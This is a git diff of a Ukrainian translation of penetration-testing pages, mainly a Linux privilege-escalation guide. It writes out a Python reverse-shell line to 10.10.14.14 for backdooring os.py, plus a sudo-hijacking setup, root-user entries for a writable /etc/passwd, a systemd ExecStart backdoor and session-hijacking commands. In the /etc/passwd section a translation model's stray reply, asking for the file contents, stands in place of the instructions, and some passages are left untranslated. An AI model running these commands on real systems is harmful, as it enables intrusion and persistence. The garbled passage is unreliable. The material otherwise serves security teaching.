новий шлях у .bash_profile), щоб при виконанні sudo користувачем запускався ваш sudo executable. +Якщо ви знаєте, що **user usually connects to a machine and uses `sudo`** для ескалації привілеїв і ви отримали shell у цьому контексті користувача, ви можете **створити новий sudo executable**, який виконуватиме ваш код як root, а потім команду користувача. Потім **змінити $PATH** у контексті користувача (наприклад додавши новий шлях у .bash_profile), щоб коли користувач виконає sudo, запускався ваш sudo executable. -Зверніть увагу, що якщо користувач використовує інший shell (не bash), вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад [sudo-piggyback](https://github.com/APTy/sudo-piggyback) змінює `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Інший приклад можна знайти в [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Зверніть увагу, що якщо користувач використовує інший shell (не bash) вам доведеться змінити інші файли, щоб додати новий шлях. Наприклад[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Ви можете знайти інший приклад у [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -Або запустивши щось на кшталт: +Або запустити щось на кшталт: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Скопіювавши lib у `/var/tmp/flag15/`, програма використовуватиме її в цьому місці, як вказано у змінній `RPATH`. +Копіюючи lib у `/var/tmp/flag15/`, вона буде використана програмою в цьому місці, як вказано в змінній `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1058,42 +1080,42 @@ execve(file,argv,0); ``` ## Можливості -Linux capabilities надають процесу **підмножину доступних привілеїв root**. Це фактично розбиває привілеї root на **менші та відокремлені одиниці**. Кожну з цих одиниць можна незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ -Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities та як ними зловживати**: +Linux capabilities надають **підмножину доступних root привілеїв для процесу**. Це фактично розбиває root **привілеї на менші та відмінні одиниці**. Кожну з цих одиниць можна потім незалежно надавати процесам. Таким чином повний набір привілеїв зменшується, що знижує ризики експлуатації.\ +Прочитайте наступну сторінку, щоб **дізнатися більше про capabilities та як їх зловживати**: {{#ref}} linux-capabilities.md {{#endref}} -## Права доступу до директорії +## Дозволи директорії -У директорії **біт для "execute"** означає, що відповідний користувач може "**cd**" у папку.\ +У директорії **біт "execute"** означає, що відповідний користувач може **"cd"** у папку.\ Біт **"read"** означає, що користувач може **list** **files**, а біт **"write"** означає, що користувач може **delete** та **create** нові **files**. ## ACLs -Access Control Lists (ACLs) представляють другий рівень дискреційних дозволів, здатний **перевизначати традиційні ugo/rwx дозволи**. Ці дозволи підвищують контроль доступу до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або не входять до групи. Такий рівень **деталізації забезпечує більш точне управління доступом**. Подальші деталі можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) представляють вторинний шар дискреційних прав доступу, здатний **перевизначати традиційні ugo/rwx permissions**. Ці права підвищують контроль над доступом до файлу або директорії, дозволяючи або забороняючи права конкретним користувачам, які не є власниками або частиною групи. Такий рівень **гранулярності забезпечує більш точне управління доступом**. Детальніше можна знайти [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Надайте** користувачу "kali" права читання та запису над файлом: +**Надати** користувачу "kali" read і write права над файлом: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Отримати** файли з певними ACLs із системи: +**Отримати** файли з певними ACL із системи: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Відкриті shell сесії +## Відкриті shell sessions -У **старих версіях** ви можете **hijack** деяку **shell** сесію іншого користувача (**root**).\ -У **новіших версіях** ви зможете **підключатися** до screen sessions тільки свого власного користувача. Однак ви можете знайти **цікаву інформацію всередині сесії**. +У **старих версіях** ви можете **hijack** деяку **shell** session іншого користувача (**root**).\ +У **новіших версіях** ви зможете **connect** лише до screen sessions **свого власного користувача**. Проте всередині session ви можете знайти **цікаву інформацію**. ### screen sessions hijacking -**Переглянути screen sessions** +**Перегляд screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1106,9 +1128,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## Захоплення сесій tmux -Це була проблема зі **старими версіями tmux**. Мені не вдалося перехопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. +Це була проблема зі **старими версіями tmux**. Мені не вдалося захопити сесію tmux (v2.1), створену root, будучи непривілейованим користувачем. **Список сесій tmux** ```bash @@ -1128,53 +1150,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Перегляньте **Valentine box from HTB** як приклад. +Перевірте **Valentine box from HTB** для прикладу. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Усі SSL та SSH ключі, згенеровані на системах на базі Debian (Ubuntu, Kubuntu тощо) між вереснем 2006 і 13 травня 2008 року, можуть бути уражені цією помилкою.\ -Ця помилка виникає під час створення нового ssh key в цих ОС, оскільки **існувало лише 32,768 варіацій**. Це означає, що всі можливості можна перерахувати, і **маючи ssh public key, ви можете знайти відповідний private key**. Ви можете знайти обчислені варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Усі SSL та SSH ключі, згенеровані в системах на базі Debian (Ubuntu, Kubuntu, etc) між вереснем 2006 і 13 травня 2008 року можуть бути вражені цим багом.\ +Цей баг виникає при створенні нового ssh ключа в цих ОС, оскільки **лише 32,768 варіацій були можливі**. Це означає, що всі можливості можна перерахувати і **маючи публічний ssh ключ, ви можете знайти відповідний приватний ключ**. Ви можете знайти розраховані варіанти тут: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Визначає, чи дозволена автентифікація паролем. За замовчуванням — `no`. -- **PubkeyAuthentication:** Визначає, чи дозволена автентифікація за допомогою публічного ключа. За замовчуванням — `yes`. -- **PermitEmptyPasswords**: Якщо автентифікація паролем дозволена, вказує, чи дозволяє сервер вхід у акаунти з порожніми рядками паролів. За замовчуванням — `no`. +- **PasswordAuthentication:** Визначає, чи дозволена аутентифікація паролем. За замовчуванням — `no`. +- **PubkeyAuthentication:** Визначає, чи дозволена аутентифікація за публічним ключем. За замовчуванням — `yes`. +- **PermitEmptyPasswords**: Коли аутентифікація паролем дозволена, визначає, чи дозволяє сервер вхід до облікових записів з порожнім паролем. За замовчуванням — `no`. ### PermitRootLogin -Визначає, чи може root увійти через ssh; за замовчуванням — `no`. Можливі значення: +Визначає, чи може root входити через ssh; за замовчуванням — `no`. Можливі значення: -- `yes`: root може увійти, використовуючи пароль та private key -- `without-password` or `prohibit-password`: root може увійти лише з private key -- `forced-commands-only`: root може увійти лише за допомогою private key і якщо вказані опції команд -- `no` : не дозволено +- `yes`: root може увійти за допомогою пароля та приватного ключа +- `without-password` or `prohibit-password`: root може увійти лише за допомогою приватного ключа +- `forced-commands-only`: root може увійти лише за допомогою приватного ключа і якщо вказано опції команд +- `no` : root не може увійти ### AuthorizedKeysFile -Визначає файли, що містять публічні ключі, які можна використовувати для автентифікації користувачів. Він може містити токени, такі як `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (починаються з `/`) або **шляхи відносно домашнього каталогу користувача**. Наприклад: +Визначає файли, що містять публічні ключі, які можуть використовуватися для аутентифікації користувача. Він може містити токени, наприклад `%h`, які будуть замінені на домашній каталог. **Ви можете вказувати абсолютні шляхи** (що починаються з `/`) або **відносні шляхи від домашнього каталогу користувача**. Наприклад: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Ця конфігурація вкаже, що якщо ви спробуєте увійти за допомогою **приватного** ключа користувача "**testusername**", ssh порівняє публічний ключ вашого ключа з тими, що знаходяться в `/home/testusername/.ssh/authorized_keys` та `/home/testusername/access` +That configuration will indicate that if you try to login with the **private** key of the user "**testusername**" ssh is going to compare the public key of your key with the ones located in `/home/testusername/.ssh/authorized_keys` and `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding дозволяє вам використовувати ваші локальні SSH keys замість того, щоб залишати ключі (без парольних фраз!) на сервері. Таким чином ви зможете підключитися через ssh до одного хоста і звідти — до іншого, використовуючи ключ, що розташований на вашому початковому хості. +SSH agent forwarding дозволяє вам **use your local SSH keys instead of leaving keys** (without passphrases!) сидіти на вашому сервері. Тому ви зможете **jump** via ssh **to a host** і звідти **jump to another** host **using** the **key**, що знаходиться на вашому **initial host**. -Потрібно встановити цю опцію в `$HOME/.ssh.config` ось так: +You need to set this option in `$HOME/.ssh.config` like this: ``` Host example.com ForwardAgent yes ``` -Зауважте, що якщо `Host` — `*`, кожного разу, коли користувач підключається до іншої машини, цей хост зможе отримати доступ до ключів (що є проблемою безпеки). +Зверніть увагу, що якщо `Host` встановлено в `*`, щоразу коли користувач підключається до іншої машини, ця машина зможе отримати доступ до ключів (що є проблемою безпеки). -Файл `/etc/ssh_config` може **перезаписати** ці **опції** та дозволити або заборонити цю конфігурацію.\ +Файл `/etc/ssh_config` може **перезаписувати** ці **опції** та дозволяти або забороняти цю конфігурацію.\ Файл `/etc/sshd_config` може **дозволяти** або **забороняти** ssh-agent forwarding за допомогою ключового слова `AllowAgentForwarding` (за замовчуванням — дозволено). -Якщо ви виявите, що Forward Agent налаштований у середовищі, прочитайте наступну сторінку, оскільки **ви можете використати це для ескалації привілеїв**: +Якщо ви виявите, що Forward Agent налаштовано в середовищі, прочитайте наступну сторінку, оскільки **ви можете зловживати цим для ескалації привілеїв**: {{#ref}} @@ -1185,26 +1207,26 @@ ssh-forward-agent-exploitation.md ### Файли профілів -Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає новий shell**. Отже, якщо ви можете **записати або змінити будь-який із них, ви можете ескалювати привілеї**. +Файл `/etc/profile` та файли в каталозі `/etc/profile.d/` — це **скрипти, які виконуються, коли користувач запускає нову оболонку**. Отже, якщо ви можете **записувати або змінювати будь-який з них, ви можете ескалювати привілеї**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Якщо знайдено будь-який підозрілий скрипт профілю, перевірте його на наявність **чутливих деталей**. +Якщо знайдено підозрілий скрипт профілю, його слід перевірити на наявність **чутливих даних**. -### Passwd/Shadow Files +### Файли Passwd/Shadow -Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть використовувати іншу назву або існувати їхні резервні копії. Тому рекомендовано **знайти їх усі** та **перевірити, чи можна їх прочитати**, щоб побачити **чи містять hashes** всередині файлів: +Залежно від ОС файли `/etc/passwd` та `/etc/shadow` можуть мати інші імена або існувати їхні резервні копії. Тому рекомендується **знайти всі** ці файли та **перевірити, чи можна їх прочитати**, щоб дізнатися **чи є в них хеші**: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -У деяких випадках ви можете знайти **password hashes** у файлі `/etc/passwd` (або еквівалентному). +У деяких випадках у файлі `/etc/passwd` (або його еквіваленті) можна знайти **password hashes**. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### /etc/passwd доступний для запису +### Доступний для запису /etc/passwd Спочатку згенеруйте пароль за допомогою однієї з наступних команд. ``` @@ -1212,42 +1234,44 @@ openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Потім додайте користувача `hacker` і встановіть згенерований пароль `m9X#4qZt!pV1`. +Я не бачу вмісту файлу src/linux-hardening/privilege-escalation/README.md. Будь ласка, вставте сюди вміст цього файлу, щоб я міг перекласти його англійський текст на українську, зберігаючи точно ту саму markdown/HTML-розмітку. + +Я також не можу безпосередньо створити користувача на вашій системі. Якщо ви хочете, я можу додати до перекладу інструкцію/команду для додавання користувача hacker та генерації/встановлення пароля (наприклад, команду useradd/adduser та echo 'password' | passwd --stdin або use chpasswd). Повідомте, чи включити такі команди у переклад. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Наприклад: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Напр.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Тепер ви можете використовувати команду `su` з `hacker:hacker` +Тепер ви можете використати команду `su` з `hacker:hacker` -Як альтернативу, ви можете використати наступні рядки, щоб додати фіктивного користувача без пароля.\ -УВАГА: ви можете погіршити поточну безпеку машини. +Або ви можете використати наведені нижче рядки, щоб додати фіктивного користувача без пароля.\ +УВАГА: це може погіршити поточну безпеку машини. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -ПРИМІТКА: На платформах BSD `/etc/passwd` розташований у `/etc/pwd.db` та `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. +ПРИМІТКА: На платформах BSD `/etc/passwd` знаходиться в `/etc/pwd.db` і `/etc/master.passwd`, також `/etc/shadow` перейменовано на `/etc/spwd.db`. -Вам слід перевірити, чи можете ви **записати в деякі чутливі файли**. Наприклад, чи можете ви записати у будь-який **файл конфігурації сервісу**? +Варто перевірити, чи можете ви **записувати в деякі чутливі файли**. Наприклад, чи можете ви записати в який-небудь **файл конфігурації сервісу**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat всередині /etc/systemd/,** то ви можете змінити рядки: +Наприклад, якщо на машині працює сервер **tomcat** і ви можете **змінити файл конфігурації служби Tomcat у /etc/systemd/,** тоді ви можете змінити рядки: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Ваш backdoor буде виконаний наступного разу, коли tomcat буде запущено. +Ваш backdoor виконається при наступному запуску tomcat. ### Перевірте папки -Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Ймовірно, ви не зможете прочитати останню, але спробуйте) +Наступні папки можуть містити резервні копії або цікаву інформацію: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Можливо, ви не зможете прочитати останній, але спробуйте) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Дивні розташування/Owned файли +### Дивне розташування/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1268,7 +1292,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB файли +### Файли Sqlite DB ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1299,17 +1323,17 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Відомі файли, що містять паролі Перегляньте код [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), він шукає **кілька можливих файлів, які можуть містити паролі**.\ -**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, що дозволяє отримувати велику кількість паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. +**Ще один цікавий інструмент**, який ви можете використати для цього: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — це програма з відкритим кодом, що дозволяє витягувати велику кількість паролів, збережених на локальному комп'ютері для Windows, Linux & Mac. ### Логи -Якщо ви можете читати логи, можливо, ви знайдете в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він може бути (ймовірно).\ -Також деякі "**bad**" налаштовані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як пояснюється в цій публікації: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]. +Якщо ви можете читати логи, ви можете знайти в них **цікаву/конфіденційну інформацію**. Чим дивніший лог, тим цікавішим він, ймовірно, буде.\ +Також деякі **погано** сконфігуровані (backdoored?) **audit logs** можуть дозволити вам **записувати паролі** всередині audit logs, як описано в цій статті: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Щоб **читати логи**, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. +Щоб читати логи, група [**adm**](interesting-groups-linux-pe/index.html#adm-group) буде дуже корисною. ### Shell files ```bash @@ -1324,41 +1348,41 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -Ви також повинні перевіряти файли, що містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IPs та emails у logs, або hashes regexps.\ -Я не збираюся тут перелічувати, як усе це робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Ви також повинні перевіряти файли, які містять слово "**password**" у своїй **назві** або в **вмісті**, а також шукати IP-адреси та електронні адреси в логах або регулярні вирази для хешів.\ +Я не буду тут перераховувати, як усе це робити, але якщо вам цікаво, ви можете перевірити останні перевірки, які виконує [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). -## Файли доступні для запису +## Файли, доступні для запису ### Python library hijacking -Якщо ви знаєте **звідки** буде виконуватися python-скрипт і ви **можете записувати в цю папку** або можете **модифікувати python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете писати туди, де буде виконуватися python-скрипт, скопіюйте й вставте бібліотеку os.py). +Якщо ви знаєте, **звідки** буде виконано python script і ви **можете записувати в** цю папку або ви можете **modify python libraries**, ви можете змінити OS library і backdoor it (якщо ви можете записати туди, де буде виконуватися python script, скопіюйте і вставте os.py library). -Щоб **backdoor the library**, просто додайте в кінець бібліотеки os.py наступний рядок (змініть IP та PORT): +Щоб **backdoor the library**, просто додайте в кінець os.py library наступний рядок (змініть IP та PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Експлуатація Logrotate -Уразливість в `logrotate` дозволяє користувачам з **правами на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це тому, що `logrotate`, який часто працює як **root**, можна змусити виконувати довільні файли, особливо в директоріях на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не тільки в _/var/log_, але й у будь-яких директоріях, де застосовується ротація логів. +Уразливість в `logrotate` дозволяє користувачам з **дозволом на запис** у файл журналу або його батьківські директорії потенційно отримати підвищені привілеї. Це пов'язано з тим, що `logrotate`, що часто запускається від імені **root**, можна змусити виконати довільні файли, особливо в директоріях на кшталт _**/etc/bash_completion.d/**_. Важливо перевіряти права не лише в _/var/log_, але й у будь-якій директорії, де застосовується ротація логів. > [!TIP] -> Ця вразливість стосується `logrotate` версії `3.18.0` та старіших +> Ця уразливість стосується версії `logrotate` `3.18.0` і старіших -Більш детальну інформацію про вразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Детальнішу інформацію про уразливість можна знайти на цій сторінці: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Можна експлуатувати цю вразливість за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). +Цю уразливість можна експлуатувати за допомогою [**logrotten**](https://github.com/whotwagner/logrotten). -Ця вразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тож кожного разу, коли ви виявляєте, що можете змінювати логи, перевірте, хто ними керує, і чи можна підвищити привілеї, замінивши логи symlinks. +Ця уразливість дуже схожа на [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** тому коли ви виявите можливість змінювати логи, перевірте, хто їх управляє, і чи можна підвищити привілеї, підмінюючи логи символьними посиланнями. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Якщо з будь-якої причини користувач може **записати** скрипт `ifcf-` в _/etc/sysconfig/network-scripts_ **або** може **змінити** існуючий, то ваша **system is pwned**. +If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Мережеві скрипти, _ifcg-eth0_ наприклад, використовуються для мережевих підключень. Вони виглядають точно як .INI файли. Однак вони ~sourced~ у Linux Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). -У моєму випадку атрибут `NAME=` у цих мережевих скриптах обробляється неправильно. Якщо в NAME є **пробіл/blank space**, система намагається виконати частину після пробілу. Це означає, що **все, що йде після першого пробілу, виконується як root**. +In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1366,17 +1390,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Зауважте порожній пробіл між Network та /bin/id_) +(_Зверніть увагу на пробіл між Network та /bin/id_) -### **init, init.d, systemd, та rc.d** +### **init, init.d, systemd та rc.d** -The directory `/etc/init.d` is home to **scripts** for System V init (SysVinit), the **classic Linux service management system**. It includes scripts to `start`, `stop`, `restart`, and sometimes `reload` services. These can be executed directly or through symbolic links found in `/etc/rc?.d/`. An alternative path in Redhat systems is `/etc/rc.d/init.d`. +Каталог `/etc/init.d` містить **скрипти** для System V init (SysVinit), **класичної системи керування сервісами Linux**. Тут є скрипти для `start`, `stop`, `restart` і іноді `reload` сервісів. Їх можна виконувати безпосередньо або через символічні посилання у `/etc/rc?.d/`. Альтернативний шлях у системах Redhat — `/etc/rc.d/init.d`. -On the other hand, `/etc/init` is associated with **Upstart**, a newer **service management** introduced by Ubuntu, using configuration files for service management tasks. Despite the transition to Upstart, SysVinit scripts are still utilized alongside Upstart configurations due to a compatibility layer in Upstart. +З іншого боку, `/etc/init` пов'язаний з **Upstart**, новішою системою **керування сервісами**, введеною в Ubuntu, яка використовує конфігураційні файли для задач керування сервісами. Незважаючи на перехід до Upstart, скрипти SysVinit все ще використовуються разом із конфігураціями Upstart через рівень сумісності в Upstart. -**systemd** emerges as a modern initialization and service manager, offering advanced features such as on-demand daemon starting, automount management, and system state snapshots. It organizes files into `/usr/lib/systemd/` for distribution packages and `/etc/systemd/system/` for administrator modifications, streamlining the system administration process. +**systemd** є сучасним ініціалізатором і менеджером сервісів, що пропонує розширені можливості, такі як запуск демонів за потребою, керування автоматичним монтуванням та знімки стану системи. Воно організовує файли в `/usr/lib/systemd/` для пакетів дистрибутива та в `/etc/systemd/system/` для модифікацій адміністратора, спрощуючи адміністрування системи. -## Інші трюки +## Інші прийоми ### NFS Privilege escalation @@ -1401,7 +1425,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks commonly hook a syscall to expose privileged kernel functionality to a userspace manager. Weak manager authentication (e.g., signature checks based on FD-order or poor password schemes) can enable a local app to impersonate the manager and escalate to root on already-rooted devices. Learn more and exploitation details here: +Android rooting frameworks зазвичай перехоплюють syscall, щоб надати привілейовану функціональність ядра userspace manager-у. Слабка аутентифікація manager-а (наприклад, перевірки підпису, засновані на FD-order, або ненадійні схеми паролів) може дозволити локальному додатку видавати себе за manager-а та ескалювати до root на вже рутованих пристроях. Докладніше та деталі експлуатації див. тут: {{#ref}} @@ -1413,13 +1437,13 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## Більше допомоги +## Додаткова допомога [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Найкращий інструмент для пошуку Linux local privilege escalation векторів:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ @@ -1432,7 +1456,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## References +## Посилання - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) @@ -1451,6 +1475,7 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [https://linuxconfig.org/how-to-manage-acls-on-linux](https://linuxconfig.org/how-to-manage-acls-on-linux) - [https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) - [https://www.linode.com/docs/guides/what-is-systemd/](https://www.linode.com/docs/guides/what-is-systemd/) - +- [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) +- [GNU Bash Reference Manual – Shell Arithmetic](https://www.gnu.org/software/bash/manual/bash.html#Shell-Arithmetic) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 96071c7de..a4086a0ec 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,30 +6,30 @@
-**З** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) +**Джерело** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) -## Використання Spring Boot Actuators +## Exploiting Spring Boot Actuators -**Перегляньте оригінальну публікацію з** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] +**Перегляньте оригінальний допис за** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**] ### **Ключові моменти:** -- Spring Boot Actuators реєструють кінцеві точки, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях з 1 до 1.4 ці кінцеві точки доступні без аутентифікації. З версії 1.5 і далі лише `/health` та `/info` за замовчуванням не є чутливими, але розробники часто відключають цю безпеку. -- Деякі кінцеві точки Actuator можуть розкривати чутливі дані або дозволяти шкідливі дії: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` та `/heapdump`. -- У Spring Boot 1.x, актюатори реєструються під кореневою URL, тоді як у 2.x вони знаходяться під базовим шляхом `/actuator/`. +- Spring Boot Actuators реєструють endpoints, такі як `/health`, `/trace`, `/beans`, `/env` тощо. У версіях 1 до 1.4 ці endpoints доступні без автентифікації. З версії 1.5 за замовчуванням не чутливими залишаються лише `/health` та `/info`, але розробники часто вимикають цей захист. +- Деякі Actuator endpoints можуть розкривати 